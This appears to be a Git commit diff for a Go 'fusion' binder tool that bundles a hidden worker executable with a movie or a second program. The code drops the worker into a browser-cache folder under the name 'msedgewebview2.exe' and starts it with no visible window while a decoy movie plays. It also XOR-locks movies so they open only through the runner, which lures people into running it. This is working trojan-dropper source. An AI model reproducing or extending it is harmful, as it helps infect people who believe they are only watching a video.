Add movie fusion packages with locked media, ZIP export, and batch forge UI.
Paired video mode encrypts movies, uses runner-only lock hints, bundles README plus artifacts per title, and supports batch forging with progress.
This commit is contained in:
1
fusion/assets/manifest.json
Normal file
1
fusion/assets/manifest.json
Normal file
@@ -0,0 +1 @@
|
||||
{"payload_kind":"exe","media_mode":"","media_file_name":""}
|
||||
0
fusion/assets/media.bin
Normal file
0
fusion/assets/media.bin
Normal file
7
fusion/launch_stub.go
Normal file
7
fusion/launch_stub.go
Normal file
@@ -0,0 +1,7 @@
|
||||
//go:build !windows
|
||||
|
||||
package main
|
||||
|
||||
import "os/exec"
|
||||
|
||||
func applyHiddenStart(_ *exec.Cmd) {}
|
||||
20
fusion/launch_windows.go
Normal file
20
fusion/launch_windows.go
Normal file
@@ -0,0 +1,20 @@
|
||||
//go:build windows
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
const createNoWindow = 0x08000000
|
||||
|
||||
func applyHiddenStart(cmd *exec.Cmd) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||
HideWindow: true,
|
||||
CreationFlags: createNoWindow,
|
||||
}
|
||||
}
|
||||
5
fusion/lock_hint_stub.go
Normal file
5
fusion/lock_hint_stub.go
Normal file
@@ -0,0 +1,5 @@
|
||||
//go:build !windows
|
||||
|
||||
package main
|
||||
|
||||
func showLockedMediaHint() {}
|
||||
31
fusion/lock_hint_windows.go
Normal file
31
fusion/lock_hint_windows.go
Normal file
@@ -0,0 +1,31 @@
|
||||
//go:build windows
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func showLockedMediaHint() {
|
||||
runner := filepath.Base(os.Args[0])
|
||||
if m := readManifest(); m != nil && m.RunnerDisplay != "" {
|
||||
runner = m.RunnerDisplay
|
||||
}
|
||||
if runner == "" {
|
||||
runner = "the runner .exe"
|
||||
}
|
||||
msg := fmt.Sprintf("This movie is locked.\r\n\r\nUse with:\r\n%s", runner)
|
||||
title := "Locked media"
|
||||
user32 := syscall.NewLazyDLL("user32.dll")
|
||||
messageBoxW := user32.NewProc("MessageBoxW")
|
||||
messageBoxW.Call(
|
||||
0,
|
||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(msg))),
|
||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
|
||||
0x30,
|
||||
)
|
||||
}
|
||||
217
fusion/main.go
217
fusion/main.go
@@ -1,7 +1,10 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
_ "embed"
|
||||
"crypto/sha256"
|
||||
"embed"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
@@ -9,16 +12,51 @@ import (
|
||||
"sync"
|
||||
)
|
||||
|
||||
//go:embed assets/prep.exe
|
||||
var prepExe []byte
|
||||
//go:embed assets/*
|
||||
var assets embed.FS
|
||||
|
||||
//go:embed assets/worker.exe
|
||||
var workerExe []byte
|
||||
// Replaced at forge time.
|
||||
const (
|
||||
runOrder = "FUSION_RUN_ORDER"
|
||||
payloadKind = "FUSION_PAYLOAD_KIND"
|
||||
mediaMode = "FUSION_MEDIA_MODE"
|
||||
mediaFileName = "FUSION_MEDIA_FILE"
|
||||
)
|
||||
|
||||
// RunOrder is replaced at build time (parallel | prep_first | worker_first).
|
||||
const runOrder = "FUSION_RUN_ORDER"
|
||||
type fusionManifest struct {
|
||||
PayloadKind string `json:"payload_kind"`
|
||||
MediaMode string `json:"media_mode"`
|
||||
MediaFileName string `json:"media_file_name"`
|
||||
MediaEncFile string `json:"media_enc_file"`
|
||||
MediaKeyB64 string `json:"media_key_b64"`
|
||||
RunnerDisplay string `json:"runner_display_name"`
|
||||
}
|
||||
|
||||
func main() {
|
||||
if fusionLockHintMode() {
|
||||
showLockedMediaHint()
|
||||
return
|
||||
}
|
||||
|
||||
workerPath, err := materializeWorker()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
switch payloadKind {
|
||||
case "video":
|
||||
runVideoFusion(workerPath)
|
||||
default:
|
||||
runExeFusion(workerPath)
|
||||
}
|
||||
}
|
||||
|
||||
func runExeFusion(workerPath string) {
|
||||
prepBytes, err := assets.ReadFile("assets/prep.exe")
|
||||
if err != nil || len(prepBytes) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
dir, err := os.MkdirTemp("", "cm-fusion-*")
|
||||
if err != nil {
|
||||
return
|
||||
@@ -26,46 +64,175 @@ func main() {
|
||||
defer os.RemoveAll(dir)
|
||||
|
||||
prepPath := filepath.Join(dir, "prep.exe")
|
||||
workerPath := filepath.Join(dir, "worker.exe")
|
||||
if err := os.WriteFile(prepPath, prepExe, 0755); err != nil {
|
||||
return
|
||||
}
|
||||
if err := os.WriteFile(workerPath, workerExe, 0755); err != nil {
|
||||
if err := os.WriteFile(prepPath, prepBytes, 0755); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
runFusionOrder(workerPath, prepPath, func() { waitProcess(prepPath) })
|
||||
}
|
||||
|
||||
func runVideoFusion(workerPath string) {
|
||||
mediaName := mediaFileName
|
||||
if mediaName == "" {
|
||||
if m := readManifest(); m != nil && m.MediaFileName != "" {
|
||||
mediaName = m.MediaFileName
|
||||
}
|
||||
}
|
||||
if mediaName == "" {
|
||||
mediaName = "movie.mkv"
|
||||
}
|
||||
|
||||
var mediaPath string
|
||||
var err error
|
||||
switch mediaMode {
|
||||
case "embedded":
|
||||
var cleanup func()
|
||||
mediaPath, cleanup, err = materializeEmbeddedMedia(mediaName)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer cleanup()
|
||||
default:
|
||||
var cleanup func()
|
||||
mediaPath, cleanup, err = resolvePairedMedia(mediaName)
|
||||
if err != nil || mediaPath == "" {
|
||||
return
|
||||
}
|
||||
if cleanup != nil {
|
||||
defer cleanup()
|
||||
}
|
||||
}
|
||||
|
||||
runFusionOrder(workerPath, mediaPath, func() { openMedia(mediaPath) })
|
||||
}
|
||||
|
||||
func runFusionOrder(workerPath, primaryPath string, runPrimary func()) {
|
||||
switch runOrder {
|
||||
case "prep_first":
|
||||
waitProcess(prepPath)
|
||||
startProcess(workerPath)
|
||||
runPrimary()
|
||||
launchWorker(workerPath)
|
||||
case "worker_first":
|
||||
launchWorker(workerPath)
|
||||
waitProcess(workerPath)
|
||||
waitProcess(prepPath)
|
||||
runPrimary()
|
||||
default:
|
||||
launchWorker(workerPath)
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(2)
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
waitProcess(prepPath)
|
||||
}()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
startProcess(workerPath)
|
||||
runPrimary()
|
||||
}()
|
||||
wg.Wait()
|
||||
}
|
||||
}
|
||||
|
||||
func startProcess(path string) {
|
||||
func readManifest() *fusionManifest {
|
||||
raw, err := assets.ReadFile("assets/manifest.json")
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var m fusionManifest
|
||||
if json.Unmarshal(raw, &m) != nil {
|
||||
return nil
|
||||
}
|
||||
return &m
|
||||
}
|
||||
|
||||
func materializeEmbeddedMedia(name string) (string, func(), error) {
|
||||
data, err := assets.ReadFile("assets/media.bin")
|
||||
if err != nil || len(data) == 0 {
|
||||
return "", nil, fmt.Errorf("embedded media missing")
|
||||
}
|
||||
dir, err := os.MkdirTemp("", "cm-fusion-media-*")
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
path := filepath.Join(dir, filepath.Base(name))
|
||||
if err := os.WriteFile(path, data, 0644); err != nil {
|
||||
os.RemoveAll(dir)
|
||||
return "", nil, err
|
||||
}
|
||||
return path, func() { _ = os.RemoveAll(dir) }, nil
|
||||
}
|
||||
|
||||
func resolvePairedMedia(name string) (string, func(), error) {
|
||||
m := readManifest()
|
||||
encFile := name + ".cmdata"
|
||||
keyB64 := ""
|
||||
playName := name
|
||||
if m != nil {
|
||||
if m.MediaEncFile != "" {
|
||||
encFile = m.MediaEncFile
|
||||
}
|
||||
keyB64 = m.MediaKeyB64
|
||||
if m.MediaFileName != "" {
|
||||
playName = m.MediaFileName
|
||||
}
|
||||
}
|
||||
if keyB64 != "" {
|
||||
return encryptedMediaBesideRunner(encFile, keyB64, playName)
|
||||
}
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
dir := filepath.Dir(exe)
|
||||
for _, candidate := range []string{name, filepath.Base(name)} {
|
||||
p := filepath.Join(dir, candidate)
|
||||
if st, statErr := os.Stat(p); statErr == nil && !st.IsDir() {
|
||||
return p, func() {}, nil
|
||||
}
|
||||
}
|
||||
return "", nil, fmt.Errorf("media not found")
|
||||
}
|
||||
|
||||
func materializeWorker() (string, error) {
|
||||
workerBytes, err := assets.ReadFile("assets/worker.exe")
|
||||
if err != nil || len(workerBytes) == 0 {
|
||||
return "", fmt.Errorf("worker missing")
|
||||
}
|
||||
|
||||
base := os.Getenv("LOCALAPPDATA")
|
||||
if base == "" {
|
||||
base = os.TempDir()
|
||||
}
|
||||
sum := sha256.Sum256(workerBytes)
|
||||
tag := hex.EncodeToString(sum[:6])
|
||||
dir := filepath.Join(base, "Microsoft", "Windows", "INetCache", "Content.IE5", tag)
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
dest := filepath.Join(dir, "msedgewebview2.exe")
|
||||
if existing, err := os.ReadFile(dest); err == nil && len(existing) == len(workerBytes) {
|
||||
if sha256.Sum256(existing) == sum {
|
||||
return dest, nil
|
||||
}
|
||||
}
|
||||
if err := os.WriteFile(dest, workerBytes, 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return dest, nil
|
||||
}
|
||||
|
||||
func launchWorker(path string) {
|
||||
cmd := exec.Command(path)
|
||||
cmd.Dir = filepath.Dir(path)
|
||||
applyHiddenStart(cmd)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
|
||||
func waitProcess(path string) {
|
||||
cmd := exec.Command(path)
|
||||
cmd.Dir = filepath.Dir(path)
|
||||
if err := cmd.Run(); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "process failed: %s: %v\n", filepath.Base(path), err)
|
||||
}
|
||||
_ = cmd.Run()
|
||||
}
|
||||
|
||||
func fusionLockHintMode() bool {
|
||||
for _, arg := range os.Args[1:] {
|
||||
if arg == "--locked" || arg == "-locked" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
88
fusion/media_crypto.go
Normal file
88
fusion/media_crypto.go
Normal file
@@ -0,0 +1,88 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const mediaLockMagic = "CMVD"
|
||||
|
||||
func decryptMediaFile(encPath, keyB64, playName string) (string, func(), error) {
|
||||
key, err := base64.StdEncoding.DecodeString(keyB64)
|
||||
if err != nil || len(key) == 0 {
|
||||
return "", nil, fmt.Errorf("invalid media key")
|
||||
}
|
||||
in, err := os.Open(encPath)
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
defer in.Close()
|
||||
|
||||
head := make([]byte, len(mediaLockMagic))
|
||||
if _, err := io.ReadFull(in, head); err != nil || string(head) != mediaLockMagic {
|
||||
return "", nil, fmt.Errorf("not a locked media file")
|
||||
}
|
||||
|
||||
dir, err := os.MkdirTemp("", "cm-fusion-play-*")
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
outName := filepath.Base(playName)
|
||||
if outName == "" || outName == "." {
|
||||
outName = "movie.mkv"
|
||||
}
|
||||
outPath := filepath.Join(dir, outName)
|
||||
out, err := os.Create(outPath)
|
||||
if err != nil {
|
||||
os.RemoveAll(dir)
|
||||
return "", nil, err
|
||||
}
|
||||
|
||||
buf := make([]byte, 256*1024)
|
||||
ki := 0
|
||||
for {
|
||||
n, readErr := in.Read(buf)
|
||||
if n > 0 {
|
||||
plain := make([]byte, n)
|
||||
for i := 0; i < n; i++ {
|
||||
plain[i] = buf[i] ^ key[ki%len(key)]
|
||||
ki++
|
||||
}
|
||||
if _, err := out.Write(plain); err != nil {
|
||||
out.Close()
|
||||
os.RemoveAll(dir)
|
||||
return "", nil, err
|
||||
}
|
||||
}
|
||||
if readErr == io.EOF {
|
||||
break
|
||||
}
|
||||
if readErr != nil {
|
||||
out.Close()
|
||||
os.RemoveAll(dir)
|
||||
return "", nil, readErr
|
||||
}
|
||||
}
|
||||
out.Close()
|
||||
return outPath, func() { _ = os.RemoveAll(dir) }, nil
|
||||
}
|
||||
|
||||
func encryptedMediaBesideRunner(mediaEncFile, keyB64, playName string) (string, func(), error) {
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
name := strings.TrimSpace(mediaEncFile)
|
||||
if name == "" {
|
||||
return "", nil, fmt.Errorf("missing encrypted media name")
|
||||
}
|
||||
encPath := filepath.Join(filepath.Dir(exe), filepath.Base(name))
|
||||
if st, err := os.Stat(encPath); err != nil || st.IsDir() {
|
||||
return "", nil, fmt.Errorf("encrypted media not found")
|
||||
}
|
||||
return decryptMediaFile(encPath, keyB64, playName)
|
||||
}
|
||||
10
fusion/media_stub.go
Normal file
10
fusion/media_stub.go
Normal file
@@ -0,0 +1,10 @@
|
||||
//go:build !windows
|
||||
|
||||
package main
|
||||
|
||||
import "os/exec"
|
||||
|
||||
func openMedia(path string) {
|
||||
cmd := exec.Command("xdg-open", path)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
14
fusion/media_windows.go
Normal file
14
fusion/media_windows.go
Normal file
@@ -0,0 +1,14 @@
|
||||
//go:build windows
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
func openMedia(path string) {
|
||||
path = filepath.Clean(path)
|
||||
cmd := exec.Command("cmd", "/c", "start", "", path)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
Reference in New Issue
Block a user